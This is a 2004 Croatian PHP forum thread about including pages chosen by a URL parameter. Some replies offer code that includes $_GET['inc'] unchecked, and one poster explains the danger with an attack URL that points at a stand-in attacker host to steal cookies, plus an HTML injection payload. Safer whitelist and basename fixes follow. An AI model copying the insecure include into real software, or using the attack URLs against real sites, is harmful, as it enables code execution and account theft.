View previous topic :: View next topic |
Author |
Message |
unLog!c
Joined: 27 May 2004 Posts: 185 Location: Osijek
|
Posted: 27.06.2004 22:36 Post subject: Pomoć oko includea... |
|
|
Vi koji kontate php pomozite, ja sam sebi napravio u indexu jedan include koji izgleda vak:
<?php include('$inc.php') ?>
a link izgleda ovako index.php?inc=nešto
e sada, ja imam pokraj stranicu nešto.php, i ja predpostavljam da bi on meni trebao kada ja kliknem na taj link includati tamo gdje sam stavio, ali to mi ne funkcionira, zašto, šta sam pogrješio, de mi molm vas pomozite.. |
_________________ Why dont you go out and play hide and go fuck your self like all other NORMAL kids? |
|
Back to top |
|
|
_butch
Joined: 10 Sep 2003 Posts: 870 Location: Maichno, Krlovc
|
Posted: 27.06.2004 22:42 Post subject: |
|
|
probaj 'vako
ako ima index.php?inc=nesto
Code: |
<?php
$include_file = $_GET['inc'];
include ($include_file.'.php');
?>
|
edit: damn.. nisam ja kriv.. nesto drugo je krivo
Last edited by _butch on 27.06.2004 23:12; edited 1 time in total |
_________________ FRENCH GUARD: No chance, English bed-wetting types.
I burst my pimples at you and call your door-opening request a silly thing, you tiny-brained wipers of other people's bottoms! Flikrac |
|
Back to top |
|
|
che.UP mi3.crew
Joined: 07 Sep 2003 Posts: 2320 Location: zagreb
|
|
Back to top |
|
|
ahri
Joined: 04 Nov 2003 Posts: 27 Location: Zagreb
|
Posted: 27.06.2004 22:49 Post subject: |
|
|
<?php include($inc.".php") ?> |
_________________ leave this area blank. |
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 28.06.2004 08:21 Post subject: |
|
|
include ( $_GET['inc'].".php" ); |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 28.06.2004 08:45 Post subject: |
|
|
jao, ne, isuse, uzas - NE TO NIKAD RADIT, NIKAD NIKAD NIKAD!!!!!
ovo je jedan od primjera LOSEG kodiranja - makar si pocetnik ja te moram upozorit da si si ostavio takav potencijal za pizdariju da je to nevjerovatno
po meni bi bilo bolje da se odlucis za listu fajlova koje zelis inkludat. recimo, imas 5 mogucih slucajeva.
1.) inkludas nesto_1.php
2) nesto_2.php
.
.
5.) nesto_5.php
onda napravis
Code: | switch($_GET['inc'])
{
case nesto_1:
include_once ('nesto_1.php');
break;
case nesto_2:
include_once('nesto_2.php');
break;
..
..
..
} |
tako imas kontrolu nad svime sto se moze inkludat jer na ovaj tvoj nacin ti netko moze inkludat php fajl koji je nekakav javascript i ako koristis login system moze ti procitati sve cookie sa login informacijama o korisniku i pokrasti ti akaunte i stvorit generalnu pizdariju na sajtu pa ces imat glavobolju samo zato jer si htio sto brze (i losije) rijesiti trivijalan problem. |
|
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 28.06.2004 09:32 Post subject: |
|
|
e maxy, ak ti nije bed...ajd objasni zakaj se to može dogodit....
kako može includat JS preko toga?
drugo da je išo sa www.nesto.com?inc=datoteka.php
pa include ( $_GET['inc'] );
još ako stavi svi includove recimo u folder "neki_folder"
i stavi ->
include ( "neki_folder".$_GET['inc'].".php" );
kak onda možeš izvršit JS tamo???
ajd pliz objasni, ja sam isto znao prije napravit ovako (sad ipak posložim drugačije, ali me zanima). |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 28.06.2004 10:10 Post subject: |
|
|
pa ljepo, opce nije bitno sto je ekstenzija .php.
evo primjer:
www.tvojsajt.com/index.php?inc=nesto
dakle inkludas nesto.php
sad ja napisem:
www.tvojsajt.com/index.php?inc=http://www.moj_sajt.com/cookiejar
sto tvoja skripta ucini
uzme http://www.moj_sajt.com/cookiejar i to prevori u http://www.moj_sajt.com/cookiejar.php
oke, ja sad taj file cookiejar.php kreiram na svom serveru i preko javaskripte pocnem citati cookie.
(opce nije bitno sto inkludani fajl mora biti php jer kad inkludas php fajl sa drugog servera onda sve sto dobijes je HTML kojeg taj php fajl izbaci a js i html su lako spojivi).
u cemu je cjela poanta - recimo da sam dosao na ovaj forum i sada ja posaljem nekakav link ali tipa klikni[url= www.tvojsajt.com/index.php?inc=http://www.moj_sajt.com/cookiejar]ovdje[url] i ti kliknes na to.
moja javaskripta koja je maskirana kao php se uspjesno includa u sajt i sada smije procitati tvoj cookie sa tvojim podacima jer cookie smiju citati samo sajtovi koji su ih postavili. posto je moja skripta kod tebe - svi uvjeti su ispunjeni i imas jedan ozbiljni security problem jer osim sto je ovo teoretski problem - to se znalo dogadjati na puno sajtova stoga ja preporucam da ako vec radite sistem da se inkluda file naveden u GET varijabli onda napravite dodatne provjere kako ne bi bilo zajeba poput gore navedenog.
nasao sam na sitepointu clanak koji se bavi upravo ovim problemom sa includanjem pa ako ga pronadjem onda cu poslati link ovdje da procitate. |
|
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 28.06.2004 10:19 Post subject: |
|
|
ok.
samo jedno pitanje, ako sve što želim includat strpam u jedan folder, recimo "datoteke" na siteu koji radim, onda ovo baš i neće radit?
include ( "datoteke/".$_GET['inc'].".php" );
jer bi po tome bilo :: "datoteke/http://www.mojsajt.com/neka_skripta.php"
ili postoji i način da se i to zaobiđe? |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 28.06.2004 10:28 Post subject: |
|
|
onda upisivanje URL-a nece raditi jer si napravio nesto da zastitis sajt
ne znam dal postoji fora da se to zaobidje jer ja nikad nisam pokusao napravit takvu stvar vec sam ih probavao izbjeci. |
|
|
Back to top |
|
|
zytzagoo mi3.crew
Joined: 25 Aug 2003 Posts: 1842 Location: Zagreb, Hrvatska
|
Posted: 28.06.2004 10:28 Post subject: |
|
|
maxy wrote: | (opce nije bitno sto inkludani fajl mora biti php jer kad inkludas php fajl sa drugog servera onda sve sto dobijes je HTML kojeg taj php fajl izbaci a js i html su lako spojivi). |
Samo remark, ako www.moj_sajt.com nije konfiguriran da parsa php (a serveri koji sluze za cross-site scripting napade redovno nisu, i to namjerno), ispljunut ce van sirovi php file, a ne html, pa na taj nacin pokrecem svoj php file na tvom serveru, a onda tek mogu raditi sto hocu |
_________________ [+]I[+]am[+]my[+]own[+]religion[+] |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 28.06.2004 10:42 Post subject: |
|
|
silence wrote: | ok.
samo jedno pitanje, ako sve što želim includat strpam u jedan folder, recimo "datoteke" na siteu koji radim, onda ovo baš i neće radit?
include ( "datoteke/".$_GET['inc'].".php" );
jer bi po tome bilo :: "datoteke/http://www.mojsajt.com/neka_skripta.php"
ili postoji i način da se i to zaobiđe? |
evo, otkrio sam sljedecu foru
<meta http-equiv=refresh content=0;url=http://www.mi3dot.org>
ovo cemo upisati u URL a pazi moj file:
<?php
include('datoteke/'.$_GET['inc'].'.php');
?>
u URL sam upisao: localhost/a.php?inc=<meta http-equiv=refresh content=0;url=http://www.mi3dot.org>
probaj i sam pa pogledaj sto se dogodi
dakle, sad mogu JS direktno u URL upisat i napravit ti sto zelim |
|
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 28.06.2004 10:47 Post subject: |
|
|
heh. sva sreća je da sam prestao to koristiti...
naime imao sam istu glupost na staroj verziji mog weba (moj prvi php koji je radio), pa me nazvao admin iz Iskona i reko da to mjenjamo...hehe...
sad mi je ionako sve drugačije posloženo, ali baš me zanimalo kaj se može napravit.
thx |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 28.06.2004 10:55 Post subject: |
|
|
obicno se tako lose isprogramirani sajtovi koriste za spamanje mailom ili za dobivanje informacija o serveru kako bi ga se moglo haknut..
eto, hoces si skratit trud a ono te neki haker zajebe da nemos vjerovat.. zato treba znat kak stvari rade |
|
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 28.06.2004 11:12 Post subject: |
|
|
a čuj, kad se sam primiš učenja PHPa, onda obično neke stvari ni ne pokupiš, nego dođu kasnije ..... |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 28.06.2004 11:17 Post subject: |
|
|
silence wrote: | a čuj, kad se sam primiš učenja PHPa, onda obično neke stvari ni ne pokupiš, nego dođu kasnije ..... |
istina. zato uvijek treba citati forume, tutoriale itd jer nikad ne znas koju korisnu stvarcicu mozes saznati.
preporucam www.devshed.com i www.sitepoint.com |
|
|
Back to top |
|
|
_butch
Joined: 10 Sep 2003 Posts: 870 Location: Maichno, Krlovc
|
Posted: 28.06.2004 12:34 Post subject: |
|
|
evo bas članka o security pogreškama |
_________________ FRENCH GUARD: No chance, English bed-wetting types.
I burst my pimples at you and call your door-opening request a silly thing, you tiny-brained wipers of other people's bottoms! Flikrac |
|
Back to top |
|
|
t3r0
Joined: 08 Jun 2004 Posts: 107
|
Posted: 28.06.2004 23:50 Post subject: |
|
|
Ovo bi trebalo rijesiti sve (ili barem vecinu) problema kod ovog nacina inkludanja:
Code: | error_reporting(0); |
Code: | $inc_file = dirname(__FILE__)."/".basename($_GET['inc']).".php";
if (file_exists($inc_file)) { include($inc_file); }
else { echo "ERROR 404 :)"; } |
error_reporting(0); stavi kad planiras "objaviti" sajt, jer to bas i nema smisla dok ga pravis, inace error_reporting(E_ALL); zbog debuginga.
file_exists provjerava da li postoji fajl na serveru.
A moglo bi i bez ovoga dirname(__FILE__), al se osjecam sigurniji kad je to tu
Mozda bi bilo bolje staviti require umjesto include... ali bi onda izbacivalo fatal error umjesto warninga
btw, ovo sam napisao napamet, tako da nije provjereno, ali onako odokativno mi se cini da je ovo ok "zastita".
maxy molim te proanaliziraj mozda sam u zabludi |
|
|
Back to top |
|
|
|